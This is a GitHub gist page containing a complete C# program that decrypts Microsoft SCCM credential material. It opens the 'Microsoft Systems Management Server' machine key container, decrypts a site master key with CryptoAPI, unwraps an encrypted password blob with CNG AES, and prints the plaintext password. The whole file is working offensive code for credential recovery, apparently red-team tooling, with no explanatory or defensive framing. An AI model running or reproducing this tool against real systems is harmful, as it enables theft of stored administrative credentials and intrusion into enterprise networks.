Created
October 15, 2025 15:51
-
-
Save G0ldenGunSec/3bef0b49c787f1a12221b37267afe2a0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Collections.Generic; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| class Program | |
| { | |
| private const string MS_ENH_RSA_AES_PROV = "Microsoft Enhanced RSA and AES Cryptographic Provider"; | |
| private const string KEY_CONTAINER = "Microsoft Systems Management Server"; | |
| private const uint PROV_RSA_AES = 24; | |
| private const uint CRYPT_MACHINE_KEYSET = 0x20; | |
| private const string CNG_PROVIDER_NAME = "Microsoft Primitive Provider"; | |
| private const string BCRYPT_RFC3565_KEY_BLOB = "Rfc3565KeyWrapBlob"; | |
| private const string BCRYPT_OPAQUE_KEY_BLOB = "OpaqueKeyBlob"; | |
| private const string BCRYPT_AES_ALGORITHM = "AES"; | |
| private const string BCRYPT_CHAIN_MODE_CBC = "ChainingModeCBC"; | |
| [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Ansi)] | |
| private static extern bool CryptAcquireContextA( | |
| out IntPtr hProv, | |
| string pszContainer, | |
| string pszProvider, | |
| uint dwProvType, | |
| uint dwFlags); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| private static extern bool CryptImportKey( | |
| IntPtr hProv, | |
| byte[] pbData, | |
| int dwDataLen, | |
| IntPtr hPubKey, | |
| int dwFlags, | |
| out IntPtr phKey); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| private static extern bool CryptDecrypt( | |
| IntPtr hKey, | |
| IntPtr hHash, | |
| bool Final, | |
| uint dwFlags, | |
| byte[] pbData, | |
| ref int pdwDataLen); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| private static extern bool CryptReleaseContext(IntPtr hProv, int dwFlags); | |
| [DllImport("advapi32.dll", SetLastError = true)] | |
| private static extern bool CryptDestroyKey(IntPtr hKey); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptOpenAlgorithmProvider( | |
| out IntPtr phAlgorithm, | |
| string pszAlgId, | |
| string pszImplementation, | |
| int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptSetProperty( | |
| IntPtr hObject, | |
| string pszProperty, | |
| byte[] pbInput, | |
| int cbInput, | |
| int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptImportKey( | |
| IntPtr hAlgorithm, | |
| IntPtr hImportKey, | |
| string pszBlobType, | |
| out IntPtr phKey, | |
| IntPtr pbKeyObject, | |
| int cbKeyObject, | |
| byte[] pbInput, | |
| int cbInput, | |
| int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptDecrypt( | |
| IntPtr hKey, | |
| byte[] pbInput, | |
| int cbInput, | |
| IntPtr pPaddingInfo, | |
| byte[] pbIV, | |
| int cbIV, | |
| byte[] pbOutput, | |
| int cbOutput, | |
| out int pcbResult, | |
| int dwFlags); | |
| [DllImport("bcrypt.dll", CharSet = CharSet.Unicode)] | |
| private static extern int BCryptDestroyKey(IntPtr hKey); | |
| private static byte[] HexToBytes(string hex) | |
| { | |
| List<byte> bytes = new List<byte>(); | |
| for (int i = 0; i < hex.Length; i += 2) | |
| bytes.Add(Convert.ToByte(hex.Substring(i, 2), 16)); | |
| return bytes.ToArray(); | |
| } | |
| private static byte[] DecryptSiteMasterKey(byte[] encryptedKey) | |
| { | |
| if (!CryptAcquireContextA(out IntPtr hProv, KEY_CONTAINER, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_MACHINE_KEYSET)) | |
| { | |
| Console.Error.WriteLine($"CryptAcquireContext failed: {Marshal.GetLastWin32Error()}"); | |
| return Array.Empty<byte>(); | |
| } | |
| if (encryptedKey.Length < 8) | |
| return Array.Empty<byte>(); | |
| int keyBlobSize = BitConverter.ToInt32(encryptedKey, 0); | |
| if (keyBlobSize + 8 > encryptedKey.Length) | |
| return Array.Empty<byte>(); | |
| byte[] keyBlob = new byte[keyBlobSize]; | |
| Array.Copy(encryptedKey, 8, keyBlob, 0, keyBlobSize); | |
| int cipherSize = encryptedKey.Length - (8 + keyBlobSize); | |
| byte[] cipherText = new byte[cipherSize]; | |
| Array.Copy(encryptedKey, 8 + keyBlobSize, cipherText, 0, cipherSize); | |
| if (!CryptImportKey(hProv, keyBlob, keyBlob.Length, IntPtr.Zero, 0, out IntPtr hKey)) | |
| { | |
| Console.Error.WriteLine($"CryptImportKey failed: {Marshal.GetLastWin32Error()}"); | |
| CryptReleaseContext(hProv, 0); | |
| return Array.Empty<byte>(); | |
| } | |
| int dwSize = cipherSize; | |
| if (!CryptDecrypt(hKey, IntPtr.Zero, true, 0, cipherText, ref dwSize)) | |
| { | |
| Console.Error.WriteLine($"CryptDecrypt failed: {Marshal.GetLastWin32Error()}"); | |
| cipherText = Array.Empty<byte>(); | |
| } | |
| else | |
| { | |
| Array.Resize(ref cipherText, dwSize); | |
| } | |
| CryptDestroyKey(hKey); | |
| CryptReleaseContext(hProv, 0); | |
| return cipherText; | |
| } | |
| private static byte[] UnwrapPasswordBlob(byte[] siteMasterKey, byte[] passwordBlob) | |
| { | |
| if (siteMasterKey.Length == 0 || passwordBlob.Length < 16) | |
| return Array.Empty<byte>(); | |
| int wrappedKeyLen = BitConverter.ToInt32(passwordBlob, 8); | |
| int cipherLen = BitConverter.ToInt32(passwordBlob, 12); | |
| byte[] wrappedKey = new byte[wrappedKeyLen]; | |
| Array.Copy(passwordBlob, 16, wrappedKey, 0, wrappedKeyLen); | |
| byte[] cipherText = new byte[cipherLen]; | |
| Array.Copy(passwordBlob, 16 + wrappedKeyLen, cipherText, 0, cipherLen); | |
| if (BCryptOpenAlgorithmProvider(out IntPtr hAlg, BCRYPT_AES_ALGORITHM, CNG_PROVIDER_NAME, 0) != 0) | |
| return Array.Empty<byte>(); | |
| BCryptSetProperty(hAlg, BCRYPT_CHAIN_MODE_CBC, Encoding.Unicode.GetBytes(BCRYPT_CHAIN_MODE_CBC), Encoding.Unicode.GetByteCount(BCRYPT_CHAIN_MODE_CBC), 0); | |
| if (BCryptImportKey(hAlg, IntPtr.Zero, BCRYPT_OPAQUE_KEY_BLOB, out IntPtr hMasterKey, IntPtr.Zero, 0, siteMasterKey, siteMasterKey.Length, 0) != 0) | |
| return Array.Empty<byte>(); | |
| if (BCryptImportKey(hAlg, hMasterKey, BCRYPT_RFC3565_KEY_BLOB, out IntPtr hSessionKey, IntPtr.Zero, 0, wrappedKey, wrappedKey.Length, 0) != 0) | |
| return Array.Empty<byte>(); | |
| byte[] plain = new byte[cipherText.Length + 16]; | |
| BCryptDecrypt(hSessionKey, cipherText, cipherText.Length, IntPtr.Zero, null, 0, plain, plain.Length, out int cbPlain, 0); | |
| Array.Resize(ref plain, cbPlain); | |
| BCryptDestroyKey(hSessionKey); | |
| BCryptDestroyKey(hMasterKey); | |
| BCryptCloseAlgorithmProvider(hAlg, 0); | |
| //Trim PKCS7 padding to get rid of trailing null chars | |
| if (plain.Length > 0) | |
| { | |
| byte padLen = plain[plain.Length - 1]; | |
| if (padLen > 0 && padLen <= 16) | |
| { | |
| bool validPadding = true; | |
| for (int i = plain.Length - padLen; i < plain.Length; i++) | |
| { | |
| if (plain[i] != padLen) | |
| { | |
| validPadding = false; | |
| break; | |
| } | |
| } | |
| if (validPadding) | |
| { | |
| Array.Resize(ref plain, plain.Length - padLen); | |
| } | |
| } | |
| } | |
| return plain; | |
| } | |
| static void Main(string[] args) | |
| { | |
| if (args.Length != 2) | |
| { | |
| Console.WriteLine("Usage: [program].exe <EncryptedSiteMasterKeyHex> <PasswordBlobHex>"); | |
| return; | |
| } | |
| byte[] encryptedKey = HexToBytes(args[0]); | |
| byte[] passwordBlob = HexToBytes(args[1]); | |
| byte[] siteMasterKey = DecryptSiteMasterKey(encryptedKey); | |
| if (siteMasterKey.Length == 0) | |
| { | |
| Console.Error.WriteLine("[X] Error: Failed to decrypt site master key."); | |
| return; | |
| } | |
| byte[] decryptedPassword = UnwrapPasswordBlob(siteMasterKey, passwordBlob); | |
| if (decryptedPassword.Length == 0) | |
| { | |
| Console.Error.WriteLine("[X] Error: Failed to decrypt password blob."); | |
| return; | |
| } | |
| Console.WriteLine("[+] Decrypted Password: " + Encoding.UTF8.GetString(decryptedPassword)); | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment